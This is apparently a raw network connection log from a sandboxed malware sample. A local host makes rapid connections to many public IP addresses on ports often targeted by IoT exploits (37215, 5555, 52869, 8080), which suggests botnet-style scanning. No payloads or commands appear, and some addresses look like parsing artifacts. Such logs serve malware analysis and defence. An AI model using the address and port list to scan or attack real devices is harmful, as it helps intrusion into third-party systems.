Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	197.203.66.146
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	157.179.242.100
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	41.142.62.50
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	130.120.158.29
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	157.175.116.8
Feb 12, 2023 21:24:55.124372005 CET	52981	37215	192.168.2.23	137.25.186.197
Feb 12, 2023 21:24:55.124375105 CET	52981	37215	192.168.2.23	24.211.66.204
Feb 12, 2023 21:24:55.124366045 CET	52981	37215	192.168.2.23	157.228.11.200
Feb 12, 2023 21:24:55.124372005 CET	52981	37215	192.168.2.23	157.182.201.102
Feb 12, 2023 21:24:55.124408960 CET	52981	37215	192.168.2.23	104.186.121.162
Feb 12, 2023 21:24:55.124408007 CET	52981	37215	192.168.2.23	179.237.222.150
Feb 12, 2023 21:24:55.124408960 CET	52981	37215	192.168.2.23	41.105.251.8
Feb 12, 2023 21:24:55.124408007 CET	52981	37215	192.168.2.23	190.152.130.223
Feb 12, 2023 21:24:55.124413013 CET	52981	37215	192.168.2.23	197.8.48.32
Feb 12, 2023 21:24:55.124413013 CET	52981	37215	192.168.2.23	37.5.134.85
Feb 12, 2023 21:24:55.124413013 CET	52981	37215	192.168.2.23	197.130.146.135
Feb 12, 2023 21:24:55.124418020 CET	52981	37215	192.168.2.23	40.247.18.178
Feb 12, 2023 21:24:55.124435902 CET	52981	37215	192.168.2.23	157.33.146.103
Feb 12, 2023 21:24:55.124471903 CET	52981	37215	192.168.2.23	157.169.62.116
Feb 12, 2023 21:24:55.124475002 CET	52981	37215	192.168.2.23	103.79.209.165
Feb 12, 2023 21:24:55.124486923 CET	52981	37215	192.168.2.23	41.35.92.46
Feb 12, 2023 21:24:55.124492884 CET	52981	37215	192.168.2.23	157.119.179.125
Feb 12, 2023 21:24:55.124499083 CET	52981	37215	192.168.2.23	39.220.191.241
Feb 12, 2023 21:24:55.124514103 CET	52981	37215	192.168.2.23	78.169.177.137
Feb 12, 2023 21:24:55.124520063 CET	52981	37215	192.168.2.23	197.44.39.49
Feb 12, 2023 21:24:55.124550104 CET	52981	37215	192.168.2.23	197.125.153.185
Feb 12, 2023 21:24:55.124551058 CET	52981	37215	192.168.2.23	197.102.191.4
Feb 12, 2023 21:24:55.124563932 CET	52981	37215	192.168.2.23	197.42.233.133
Feb 12, 2023 21:24:55.124572992 CET	52981	37215	192.168.2.23	197.51.93.126
Feb 12, 2023 21:24:55.124578953 CET	52981	37215	192.168.2.23	75.38.115.20
Feb 12, 2023 21:24:55.124598980 CET	52981	37215	192.168.2.23	197.162.126.134
Feb 12, 2023 21:24:55.124598980 CET	52981	37215	192.168.2.23	157.118.154.160
Feb 12, 2023 21:24:55.124620914 CET	52981	37215	192.168.2.23	197.121.219.231
Feb 12, 2023 21:24:55.124636889 CET	52981	37215	192.168.2.23	41.204.153.213
Feb 12, 2023 21:24:55.124640942 CET	52981	37215	192.168.2.23	197.56.203.219
Feb 12, 2023 21:24:55.124699116 CET	52981	37215	192.168.2.23	157.189.125.167
Feb 12, 2023 21:24:55.124707937 CET	52981	37215	192.168.2.23	157.174.98.107
Feb 12, 2023 21:24:55.124720097 CET	52981	37215	192.168.2.23	157.225.173.7
Feb 12, 2023 21:24:55.124751091 CET	52981	37215	192.168.2.23	41.116.160.116
Feb 12, 2023 21:24:55.124752998 CET	52981	37215	192.168.2.23	157.150.201.231
Feb 12, 2023 21:24:55.124766111 CET	52981	37215	192.168.2.23	157.85.108.204
Feb 12, 2023 21:24:55.124780893 CET	52981	37215	192.168.2.23	157.49.83.2
Feb 12, 2023 21:24:55.124806881 CET	52981	37215	192.168.2.23	151.108.238.73
Feb 12, 2023 21:24:55.124810934 CET	52981	37215	192.168.2.23	139.91.136.193
Feb 12, 2023 21:24:55.124810934 CET	52981	37215	192.168.2.23	199.110.199.109
Feb 12, 2023 21:24:55.124836922 CET	52981	37215	192.168.2.23	197.8.171.88
Feb 12, 2023 21:24:55.124840975 CET	52981	37215	192.168.2.23	157.225.65.208
Feb 12, 2023 21:24:55.124866962 CET	52981	37215	192.168.2.23	197.177.169.204
Feb 12, 2023 21:24:55.124871016 CET	52981	37215	192.168.2.23	197.24.98.237
Feb 12, 2023 21:24:55.124896049 CET	52981	37215	192.168.2.23	203.186.241.96
Feb 12, 2023 21:24:55.124897957 CET	52981	37215	192.168.2.23	197.185.134.218
Feb 12, 2023 21:24:55.124908924 CET	52981	37215	192.168.2.23	88.11.115.81
Feb 12, 2023 21:24:55.124923944 CET	52981	37215	192.168.2.23	157.66.206.249
Feb 12, 2023 21:24:55.124927044 CET	52981	37215	192.168.2.23	157.18.58.165
Feb 12, 2023 21:24:55.124941111 CET	52981	37215	192.168.2.23	41.146.108.100
Feb 12, 2023 21:24:55.124960899 CET	52981	37215	192.168.2.23	71.48.4.22
Feb 12, 2023 21:24:55.124968052 CET	52981	37215	192.168.2.23	157.19.43.88
Feb 12, 2023 21:24:55.124979973 CET	52981	37215	192.168.2.23	152.203.30.124
Feb 12, 2023 21:24:55.124982119 CET	52981	37215	192.168.2.23	197.28.240.14
Feb 12, 2023 21:24:55.124995947 CET	52981	37215	192.168.2.23	157.65.190.226
Feb 12, 2023 21:24:55.124999046 CET	52981	37215	192.168.2.23	157.71.206.111
Feb 12, 2023 21:24:55.125022888 CET	52981	37215	192.168.2.23	41.74.108.172
Feb 12, 2023 21:24:55.125031948 CET	52981	37215	192.168.2.23	157.207.211.70
Feb 12, 2023 21:24:55.125052929 CET	52981	37215	192.168.2.23	157.240.211.247
Feb 12, 2023 21:24:55.125089884 CET	52981	37215	192.168.2.23	41.99.194.205
Feb 12, 2023 21:24:55.125118017 CET	52981	37215	192.168.2.23	13.239.126.133
Feb 12, 2023 21:24:55.125123978 CET	52981	37215	192.168.2.23	41.218.171.251
Feb 12, 2023 21:24:55.125123978 CET	52981	37215	192.168.2.23	157.198.242.145
Feb 12, 2023 21:24:55.125128984 CET	52981	37215	192.168.2.23	41.29.124.106
Feb 12, 2023 21:24:55.125129938 CET	52981	37215	192.168.2.23	197.9.4.123
Feb 12, 2023 21:24:55.125129938 CET	52981	37215	192.168.2.23	170.161.80.11
Feb 12, 2023 21:24:55.125150919 CET	52981	37215	192.168.2.23	197.120.146.114
Feb 12, 2023 21:24:55.125150919 CET	52981	37215	192.168.2.23	41.31.47.205
Feb 12, 2023 21:24:55.125173092 CET	52981	37215	192.168.2.23	176.78.31.40
Feb 12, 2023 21:24:55.125196934 CET	52981	37215	192.168.2.23	41.69.174.219
Feb 12, 2023 21:24:55.125200033 CET	52981	37215	192.168.2.23	197.209.197.80
Feb 12, 2023 21:24:55.125216961 CET	52981	37215	192.168.2.23	41.167.114.83
Feb 12, 2023 21:24:55.125236988 CET	52981	37215	192.168.2.23	192.8.124.60
Feb 12, 2023 21:24:55.125267029 CET	52981	37215	192.168.2.23	157.188.13.74
Feb 12, 2023 21:24:55.125282049 CET	52981	37215	192.168.2.23	85.61.42.172
Feb 12, 2023 21:24:55.125286102 CET	52981	37215	192.168.2.23	82.69.140.82
Feb 12, 2023 21:24:55.125305891 CET	52981	37215	192.168.2.23	197.14.131.10
Feb 12, 2023 21:24:55.125328064 CET	52981	37215	192.168.2.23	174.174.14.12
Feb 12, 2023 21:24:55.125332117 CET	52981	37215	192.168.2.23	157.235.18.53
Feb 12, 2023 21:24:55.125332117 CET	52981	37215	192.168.2.23	197.142.65.53
Feb 12, 2023 21:24:55.125343084 CET	52981	37215	192.168.2.23	169.117.182.153
Feb 12, 2023 21:24:55.125374079 CET	52981	37215	192.168.2.23	41.183.111.7
Feb 12, 2023 21:24:55.125382900 CET	52981	37215	192.168.2.23	157.162.161.91
Feb 12, 2023 21:24:55.125411987 CET	52981	37215	192.168.2.23	41.228.101.196
Feb 12, 2023 21:24:55.125416040 CET	52981	37215	192.168.2.23	157.34.213.26
Feb 12, 2023 21:24:55.125425100 CET	52981	37215	192.168.2.23	40.140.179.209
Feb 12, 2023 21:24:55.125447035 CET	52981	37215	192.168.2.23	23.48.76.189
Feb 12, 2023 21:24:55.125456095 CET	52981	37215	192.168.2.23	41.187.225.236
Feb 12, 2023 21:24:55.125456095 CET	52981	37215	192.168.2.23	197.47.227.54
Feb 12, 2023 21:24:55.125463009 CET	52981	37215	192.168.2.23	212.171.244.234
Feb 12, 2023 21:24:55.125464916 CET	52981	37215	192.168.2.23	41.91.5.64
Feb 12, 2023 21:24:55.125485897 CET	52981	37215	192.168.2.23	157.99.200.88
Feb 12, 2023 21:24:55.125507116 CET	52981	37215	192.168.2.23	41.49.226.139
Feb 12, 2023 21:24:55.125513077 CET	52981	37215	192.168.2.23	45.83.43.23
Feb 12, 2023 21:24:55.125540018 CET	52981	37215	192.168.2.23	68.214.217.90
Feb 12, 2023 21:24:55.125561953 CET	52981	37215	192.168.2.23	41.198.172.157
Feb 12, 2023 21:24:55.125566006 CET	52981	37215	192.168.2.23	41.103.182.242
Feb 12, 2023 21:24:55.125566959 CET	52981	37215	192.168.2.23	197.21.20.144
Feb 12, 2023 21:24:55.125579119 CET	52981	37215	192.168.2.23	197.93.44.27
Feb 12, 2023 21:24:55.125613928 CET	52981	37215	192.168.2.23	197.26.194.32
Feb 12, 2023 21:24:55.125613928 CET	52981	37215	192.168.2.23	157.140.61.78
Feb 12, 2023 21:24:55.125616074 CET	52981	37215	192.168.2.23	157.32.180.102
Feb 12, 2023 21:24:55.125646114 CET	52981	37215	192.168.2.23	41.246.141.184
Feb 12, 2023 21:24:55.125654936 CET	52981	37215	192.168.2.23	41.5.63.26
Feb 12, 2023 21:24:55.125667095 CET	52981	37215	192.168.2.23	157.22.225.224
Feb 12, 2023 21:24:55.125694990 CET	52981	37215	192.168.2.23	41.198.81.159
Feb 12, 2023 21:24:55.125705004 CET	52981	37215	192.168.2.23	197.55.189.62
Feb 12, 2023 21:24:55.125711918 CET	52981	37215	192.168.2.23	19.8.55.140
Feb 12, 2023 21:24:55.125725031 CET	52981	37215	192.168.2.23	157.47.96.244
Feb 12, 2023 21:24:55.125730038 CET	52981	37215	192.168.2.23	157.7.132.33
Feb 12, 2023 21:24:55.125744104 CET	52981	37215	192.168.2.23	157.209.32.30
Feb 12, 2023 21:24:55.125750065 CET	52981	37215	192.168.2.23	202.200.82.185
Feb 12, 2023 21:24:55.125766039 CET	52981	37215	192.168.2.23	189.2.81.113
Feb 12, 2023 21:24:55.125766039 CET	52981	37215	192.168.2.23	197.193.123.243
Feb 12, 2023 21:24:55.125811100 CET	52981	37215	192.168.2.23	157.171.32.26
Feb 12, 2023 21:24:55.125811100 CET	52981	37215	192.168.2.23	76.116.118.86
Feb 12, 2023 21:24:55.125822067 CET	52981	37215	192.168.2.23	157.90.48.171
Feb 12, 2023 21:24:55.125837088 CET	52981	37215	192.168.2.23	40.227.55.211
Feb 12, 2023 21:24:55.125848055 CET	52981	37215	192.168.2.23	197.32.229.43
Feb 12, 2023 21:24:55.125859022 CET	52981	37215	192.168.2.23	197.185.54.126
Feb 12, 2023 21:24:55.125864029 CET	52981	37215	192.168.2.23	197.90.126.201
Feb 12, 2023 21:24:55.125871897 CET	52981	37215	192.168.2.23	41.231.82.90
Feb 12, 2023 21:24:55.125893116 CET	52981	37215	192.168.2.23	197.237.203.228
Feb 12, 2023 21:24:55.125902891 CET	52981	37215	192.168.2.23	157.180.153.72
Feb 12, 2023 21:24:55.125921965 CET	52981	37215	192.168.2.23	197.18.73.106
Feb 12, 2023 21:24:55.125937939 CET	52981	37215	192.168.2.23	41.79.110.181
Feb 12, 2023 21:24:55.125941038 CET	52981	37215	192.168.2.23	201.184.218.80
Feb 12, 2023 21:24:55.125972033 CET	52981	37215	192.168.2.23	41.49.68.121
Feb 12, 2023 21:24:55.125988007 CET	52981	37215	192.168.2.23	157.136.230.91
Feb 12, 2023 21:24:55.125996113 CET	52981	37215	192.168.2.23	183.169.148.138
Feb 12, 2023 21:24:55.126024008 CET	52981	37215	192.168.2.23	157.121.25.245
Feb 12, 2023 21:24:55.126028061 CET	52981	37215	192.168.2.23	41.150.197.63
Feb 12, 2023 21:24:55.126049995 CET	52981	37215	192.168.2.23	197.42.91.208
Feb 12, 2023 21:24:55.126049995 CET	52981	37215	192.168.2.23	137.59.167.152
Feb 12, 2023 21:24:55.126049995 CET	52981	37215	192.168.2.23	134.54.74.61
Feb 12, 2023 21:24:55.126061916 CET	52981	37215	192.168.2.23	197.224.47.177
Feb 12, 2023 21:24:55.126086950 CET	52981	37215	192.168.2.23	116.87.173.53
Feb 12, 2023 21:24:55.126116991 CET	52981	37215	192.168.2.23	62.136.114.105
Feb 12, 2023 21:24:55.126121044 CET	52981	37215	192.168.2.23	197.27.248.33
Feb 12, 2023 21:24:55.126121044 CET	52981	37215	192.168.2.23	197.145.250.244
Feb 12, 2023 21:24:55.126121044 CET	52981	37215	192.168.2.23	197.38.167.219
Feb 12, 2023 21:24:55.126125097 CET	52981	37215	192.168.2.23	41.197.45.110
Feb 12, 2023 21:24:55.126149893 CET	52981	37215	192.168.2.23	197.49.203.68
Feb 12, 2023 21:24:55.126149893 CET	52981	37215	192.168.2.23	157.23.64.130
Feb 12, 2023 21:24:55.126163006 CET	52981	37215	192.168.2.23	197.59.185.217
Feb 12, 2023 21:24:55.126199961 CET	52981	37215	192.168.2.23	157.140.150.28
Feb 12, 2023 21:24:55.126204014 CET	52981	37215	192.168.2.23	188.21.36.171
Feb 12, 2023 21:24:55.126204967 CET	52981	37215	192.168.2.23	166.50.233.54
Feb 12, 2023 21:24:55.126223087 CET	52981	37215	192.168.2.23	157.125.85.113
Feb 12, 2023 21:24:55.126226902 CET	52981	37215	192.168.2.23	197.51.249.136
Feb 12, 2023 21:24:55.126276970 CET	52981	37215	192.168.2.23	41.163.155.20
Feb 12, 2023 21:24:55.127511978 CET	5555	22272	66.81.21.129	192.168.2.23
Feb 12, 2023 21:24:55.151446104 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:55.151509047 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:55.165262938 CET	37215	52981	45.148.151.111	192.168.2.23
Feb 12, 2023 21:24:55.177648067 CET	37215	52981	78.169.177.137	192.168.2.23
Feb 12, 2023 21:24:55.215430021 CET	51694	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:55.215451956 CET	38208	80	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:55.358340025 CET	37215	52981	189.2.81.113	192.168.2.23
Feb 12, 2023 21:24:55.375452042 CET	50782	52869	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:55.375452042 CET	36872	52869	192.168.2.23	55.49.46.49
Feb 12, 2023 21:24:55.375464916 CET	53922	52869	192.168.2.23	49.54.54.46
Feb 12, 2023 21:24:55.375466108 CET	37944	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:55.375473976 CET	45412	52869	192.168.2.23	50.48.50.46
Feb 12, 2023 21:24:55.375483990 CET	36602	52869	192.168.2.23	56.51.46.49
Feb 12, 2023 21:24:55.375483990 CET	41074	52869	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:55.375488043 CET	36382	52869	192.168.2.23	54.55.46.52
Feb 12, 2023 21:24:55.375510931 CET	43424	52869	192.168.2.23	50.53.46.50
Feb 12, 2023 21:24:55.407412052 CET	36494	80	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:55.407418966 CET	41772	80	192.168.2.23	49.53.50.46
Feb 12, 2023 21:24:55.407418966 CET	34430	80	192.168.2.23	51.55.46.57
Feb 12, 2023 21:24:55.407427073 CET	43036	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:55.407430887 CET	35336	80	192.168.2.23	49.52.48.46
Feb 12, 2023 21:24:55.407433033 CET	55878	80	192.168.2.23	53.49.46.50
Feb 12, 2023 21:24:55.407430887 CET	36094	80	192.168.2.23	49.57.52.46
Feb 12, 2023 21:24:55.407433033 CET	38530	80	192.168.2.23	56.57.46.50
Feb 12, 2023 21:24:55.407435894 CET	58828	80	192.168.2.23	50.57.46.49
Feb 12, 2023 21:24:55.407435894 CET	49886	80	192.168.2.23	57.55.46.55
Feb 12, 2023 21:24:55.434326887 CET	33668	7574	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:55.457621098 CET	37215	52981	197.130.146.135	192.168.2.23
Feb 12, 2023 21:24:55.535403013 CET	51532	81	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:55.695393085 CET	56132	8080	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:55.695437908 CET	35322	8080	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:55.727425098 CET	53992	8080	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:55.727427006 CET	40886	8080	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:55.727427006 CET	53342	8080	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:55.736866951 CET	58564	80	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:55.759424925 CET	43210	8080	192.168.2.23	49.52.54.46
Feb 12, 2023 21:24:55.759428978 CET	53348	8080	192.168.2.23	57.46.50.55
Feb 12, 2023 21:24:55.759438038 CET	55374	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:55.791368008 CET	40820	8080	192.168.2.23	49.48.57.46
Feb 12, 2023 21:24:55.791376114 CET	53616	8080	192.168.2.23	49.49.51.46
Feb 12, 2023 21:24:55.823463917 CET	40332	80	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:55.919464111 CET	47166	5555	192.168.2.23	49.48.51.46
Feb 12, 2023 21:24:55.951673031 CET	22272	5555	192.168.2.23	191.241.14.219
Feb 12, 2023 21:24:55.951682091 CET	22272	5555	192.168.2.23	119.134.255.150
Feb 12, 2023 21:24:55.951687098 CET	22272	5555	192.168.2.23	207.90.149.196
Feb 12, 2023 21:24:55.951702118 CET	22272	5555	192.168.2.23	8.170.203.38
Feb 12, 2023 21:24:55.951733112 CET	22272	5555	192.168.2.23	209.61.114.201
Feb 12, 2023 21:24:55.951734066 CET	22272	5555	192.168.2.23	131.86.132.2
Feb 12, 2023 21:24:55.951745033 CET	22272	5555	192.168.2.23	140.73.182.7
Feb 12, 2023 21:24:55.951745033 CET	22272	5555	192.168.2.23	67.90.216.127
Feb 12, 2023 21:24:55.951771975 CET	22272	5555	192.168.2.23	101.169.12.123
Feb 12, 2023 21:24:55.951786995 CET	22272	5555	192.168.2.23	42.44.127.175
Feb 12, 2023 21:24:55.951812029 CET	22272	5555	192.168.2.23	156.80.102.199
Feb 12, 2023 21:24:55.951813936 CET	22272	5555	192.168.2.23	2.148.39.192
Feb 12, 2023 21:24:55.951848030 CET	22272	5555	192.168.2.23	128.171.249.213
Feb 12, 2023 21:24:55.951858044 CET	22272	5555	192.168.2.23	169.161.201.45
Feb 12, 2023 21:24:55.951862097 CET	22272	5555	192.168.2.23	172.211.32.98
Feb 12, 2023 21:24:55.951865911 CET	22272	5555	192.168.2.23	115.133.45.210
Feb 12, 2023 21:24:55.951891899 CET	22272	5555	192.168.2.23	180.154.130.136
Feb 12, 2023 21:24:55.951891899 CET	22272	5555	192.168.2.23	163.168.158.38
Feb 12, 2023 21:24:55.951905012 CET	22272	5555	192.168.2.23	166.32.104.246
Feb 12, 2023 21:24:55.951913118 CET	22272	5555	192.168.2.23	63.81.25.243
Feb 12, 2023 21:24:55.951930046 CET	22272	5555	192.168.2.23	193.177.181.218
Feb 12, 2023 21:24:55.951945066 CET	22272	5555	192.168.2.23	105.98.237.117
Feb 12, 2023 21:24:55.951950073 CET	22272	5555	192.168.2.23	62.90.243.102
Feb 12, 2023 21:24:55.951950073 CET	22272	5555	192.168.2.23	164.49.131.52
Feb 12, 2023 21:24:55.951955080 CET	22272	5555	192.168.2.23	118.2.82.54
Feb 12, 2023 21:24:55.951965094 CET	22272	5555	192.168.2.23	123.171.96.106
Feb 12, 2023 21:24:55.951977968 CET	22272	5555	192.168.2.23	133.175.18.114
Feb 12, 2023 21:24:55.951982021 CET	22272	5555	192.168.2.23	177.139.67.97
Feb 12, 2023 21:24:55.952006102 CET	22272	5555	192.168.2.23	5.16.119.248
Feb 12, 2023 21:24:55.952008963 CET	22272	5555	192.168.2.23	192.5.160.53
Feb 12, 2023 21:24:55.952025890 CET	22272	5555	192.168.2.23	39.196.214.157
Feb 12, 2023 21:24:55.952035904 CET	22272	5555	192.168.2.23	202.76.117.248
Feb 12, 2023 21:24:55.952049971 CET	22272	5555	192.168.2.23	161.25.152.6
Feb 12, 2023 21:24:55.952053070 CET	22272	5555	192.168.2.23	223.84.89.239
Feb 12, 2023 21:24:55.952075005 CET	22272	5555	192.168.2.23	132.108.61.36
Feb 12, 2023 21:24:55.952104092 CET	22272	5555	192.168.2.23	71.103.237.34
Feb 12, 2023 21:24:55.952105999 CET	22272	5555	192.168.2.23	161.81.229.126
Feb 12, 2023 21:24:55.952110052 CET	22272	5555	192.168.2.23	209.145.0.213
Feb 12, 2023 21:24:55.952141047 CET	22272	5555	192.168.2.23	64.114.170.170
Feb 12, 2023 21:24:55.952141047 CET	22272	5555	192.168.2.23	221.149.45.31
Feb 12, 2023 21:24:55.952141047 CET	22272	5555	192.168.2.23	79.196.173.162
Feb 12, 2023 21:24:55.952158928 CET	22272	5555	192.168.2.23	41.94.175.143
Feb 12, 2023 21:24:55.952162027 CET	22272	5555	192.168.2.23	32.43.151.124
Feb 12, 2023 21:24:55.952193022 CET	22272	5555	192.168.2.23	134.107.154.136
Feb 12, 2023 21:24:55.952229023 CET	22272	5555	192.168.2.23	32.120.105.180
Feb 12, 2023 21:24:55.952230930 CET	22272	5555	192.168.2.23	86.97.87.223
Feb 12, 2023 21:24:55.952231884 CET	22272	5555	192.168.2.23	76.35.198.169
Feb 12, 2023 21:24:55.952239037 CET	22272	5555	192.168.2.23	156.26.40.52
Feb 12, 2023 21:24:55.952239990 CET	22272	5555	192.168.2.23	150.110.27.242
Feb 12, 2023 21:24:55.952239990 CET	22272	5555	192.168.2.23	158.72.58.104
Feb 12, 2023 21:24:55.952240944 CET	22272	5555	192.168.2.23	20.104.35.93
Feb 12, 2023 21:24:55.952240944 CET	22272	5555	192.168.2.23	86.178.79.168
Feb 12, 2023 21:24:55.952254057 CET	22272	5555	192.168.2.23	14.220.141.82
Feb 12, 2023 21:24:55.952255011 CET	22272	5555	192.168.2.23	101.9.174.88
Feb 12, 2023 21:24:55.952255011 CET	22272	5555	192.168.2.23	116.99.34.214
Feb 12, 2023 21:24:55.952272892 CET	22272	5555	192.168.2.23	130.158.16.168
Feb 12, 2023 21:24:55.952294111 CET	22272	5555	192.168.2.23	117.175.195.238
Feb 12, 2023 21:24:55.952311039 CET	22272	5555	192.168.2.23	138.54.216.155
Feb 12, 2023 21:24:55.952322960 CET	22272	5555	192.168.2.23	69.32.206.249
Feb 12, 2023 21:24:55.952331066 CET	22272	5555	192.168.2.23	131.72.10.92
Feb 12, 2023 21:24:55.952349901 CET	22272	5555	192.168.2.23	69.251.126.81
Feb 12, 2023 21:24:55.952419043 CET	22272	5555	192.168.2.23	65.213.149.215
Feb 12, 2023 21:24:55.952419043 CET	22272	5555	192.168.2.23	99.108.136.47
Feb 12, 2023 21:24:55.952419043 CET	22272	5555	192.168.2.23	1.249.168.53
Feb 12, 2023 21:24:55.952419043 CET	22272	5555	192.168.2.23	186.67.45.183
Feb 12, 2023 21:24:55.952424049 CET	22272	5555	192.168.2.23	39.72.27.53
Feb 12, 2023 21:24:55.952424049 CET	22272	5555	192.168.2.23	86.137.160.224
Feb 12, 2023 21:24:55.952428102 CET	22272	5555	192.168.2.23	73.193.211.195
Feb 12, 2023 21:24:55.952424049 CET	22272	5555	192.168.2.23	13.53.172.40
Feb 12, 2023 21:24:55.952430010 CET	22272	5555	192.168.2.23	139.75.162.127
Feb 12, 2023 21:24:55.952424049 CET	22272	5555	192.168.2.23	54.122.238.194
Feb 12, 2023 21:24:55.952424049 CET	22272	5555	192.168.2.23	9.150.216.97
Feb 12, 2023 21:24:55.952424049 CET	22272	5555	192.168.2.23	118.234.124.241
Feb 12, 2023 21:24:55.952436924 CET	22272	5555	192.168.2.23	121.45.17.231
Feb 12, 2023 21:24:55.952436924 CET	22272	5555	192.168.2.23	189.101.209.179
Feb 12, 2023 21:24:55.952440023 CET	22272	5555	192.168.2.23	17.197.238.32
Feb 12, 2023 21:24:55.952449083 CET	22272	5555	192.168.2.23	91.191.86.65
Feb 12, 2023 21:24:55.952461004 CET	22272	5555	192.168.2.23	206.237.249.153
Feb 12, 2023 21:24:55.952467918 CET	22272	5555	192.168.2.23	118.173.57.213
Feb 12, 2023 21:24:55.952487946 CET	22272	5555	192.168.2.23	186.131.103.1
Feb 12, 2023 21:24:55.952501059 CET	22272	5555	192.168.2.23	63.113.190.124
Feb 12, 2023 21:24:55.952502966 CET	22272	5555	192.168.2.23	50.195.176.254
Feb 12, 2023 21:24:55.952514887 CET	22272	5555	192.168.2.23	76.154.216.241
Feb 12, 2023 21:24:55.952548981 CET	22272	5555	192.168.2.23	187.121.0.192
Feb 12, 2023 21:24:55.952549934 CET	22272	5555	192.168.2.23	51.61.164.162
Feb 12, 2023 21:24:55.952553034 CET	22272	5555	192.168.2.23	159.134.5.117
Feb 12, 2023 21:24:55.952578068 CET	22272	5555	192.168.2.23	92.23.140.228
Feb 12, 2023 21:24:55.952578068 CET	22272	5555	192.168.2.23	34.239.194.31
Feb 12, 2023 21:24:55.952605009 CET	22272	5555	192.168.2.23	8.105.89.45
Feb 12, 2023 21:24:55.952609062 CET	22272	5555	192.168.2.23	164.221.19.54
Feb 12, 2023 21:24:55.952630997 CET	22272	5555	192.168.2.23	145.92.70.63
Feb 12, 2023 21:24:55.952635050 CET	22272	5555	192.168.2.23	43.162.100.173
Feb 12, 2023 21:24:55.952652931 CET	22272	5555	192.168.2.23	107.255.120.98
Feb 12, 2023 21:24:55.952671051 CET	22272	5555	192.168.2.23	70.167.238.20
Feb 12, 2023 21:24:55.952681065 CET	22272	5555	192.168.2.23	123.176.112.57
Feb 12, 2023 21:24:55.952687979 CET	22272	5555	192.168.2.23	191.93.102.153
Feb 12, 2023 21:24:55.952699900 CET	22272	5555	192.168.2.23	142.187.214.109
Feb 12, 2023 21:24:55.952721119 CET	22272	5555	192.168.2.23	119.145.26.125
Feb 12, 2023 21:24:55.952724934 CET	22272	5555	192.168.2.23	200.153.135.172
Feb 12, 2023 21:24:55.952728987 CET	22272	5555	192.168.2.23	54.3.47.75
Feb 12, 2023 21:24:55.952752113 CET	22272	5555	192.168.2.23	62.154.21.39
Feb 12, 2023 21:24:55.952754974 CET	22272	5555	192.168.2.23	9.42.177.237
Feb 12, 2023 21:24:55.952769041 CET	22272	5555	192.168.2.23	124.39.181.9
Feb 12, 2023 21:24:55.952773094 CET	22272	5555	192.168.2.23	68.217.93.22
Feb 12, 2023 21:24:55.952809095 CET	22272	5555	192.168.2.23	65.125.176.168
Feb 12, 2023 21:24:55.952810049 CET	22272	5555	192.168.2.23	101.138.20.224
Feb 12, 2023 21:24:55.952817917 CET	22272	5555	192.168.2.23	48.106.192.162
Feb 12, 2023 21:24:55.952821016 CET	22272	5555	192.168.2.23	130.237.65.122
Feb 12, 2023 21:24:55.952847958 CET	22272	5555	192.168.2.23	211.228.4.38
Feb 12, 2023 21:24:55.952847958 CET	22272	5555	192.168.2.23	103.230.136.249
Feb 12, 2023 21:24:55.952855110 CET	22272	5555	192.168.2.23	185.222.184.0
Feb 12, 2023 21:24:55.952855110 CET	22272	5555	192.168.2.23	206.122.7.179
Feb 12, 2023 21:24:55.952855110 CET	22272	5555	192.168.2.23	134.148.218.4
Feb 12, 2023 21:24:55.952878952 CET	22272	5555	192.168.2.23	46.134.240.152
Feb 12, 2023 21:24:55.952891111 CET	22272	5555	192.168.2.23	204.245.189.222
Feb 12, 2023 21:24:55.952914953 CET	22272	5555	192.168.2.23	77.95.233.197
Feb 12, 2023 21:24:55.952919006 CET	22272	5555	192.168.2.23	136.231.62.99
Feb 12, 2023 21:24:55.952948093 CET	22272	5555	192.168.2.23	87.39.128.39
Feb 12, 2023 21:24:55.952971935 CET	22272	5555	192.168.2.23	76.33.194.199
Feb 12, 2023 21:24:55.952986956 CET	22272	5555	192.168.2.23	57.15.66.251
Feb 12, 2023 21:24:55.953006029 CET	22272	5555	192.168.2.23	158.98.121.42
Feb 12, 2023 21:24:55.953027964 CET	22272	5555	192.168.2.23	196.174.209.237
Feb 12, 2023 21:24:55.953048944 CET	22272	5555	192.168.2.23	187.130.89.207
Feb 12, 2023 21:24:55.953074932 CET	22272	5555	192.168.2.23	52.190.216.37
Feb 12, 2023 21:24:55.953089952 CET	22272	5555	192.168.2.23	75.74.207.124
Feb 12, 2023 21:24:55.953111887 CET	22272	5555	192.168.2.23	159.13.106.7
Feb 12, 2023 21:24:55.953124046 CET	22272	5555	192.168.2.23	187.201.35.21
Feb 12, 2023 21:24:55.953144073 CET	22272	5555	192.168.2.23	115.154.29.188
Feb 12, 2023 21:24:55.953160048 CET	22272	5555	192.168.2.23	137.143.53.102
Feb 12, 2023 21:24:55.953175068 CET	22272	5555	192.168.2.23	112.73.204.190
Feb 12, 2023 21:24:55.953197956 CET	22272	5555	192.168.2.23	72.211.25.158
Feb 12, 2023 21:24:55.953207016 CET	22272	5555	192.168.2.23	167.198.172.56
Feb 12, 2023 21:24:55.953248978 CET	22272	5555	192.168.2.23	142.180.19.232
Feb 12, 2023 21:24:55.953249931 CET	22272	5555	192.168.2.23	129.147.48.32
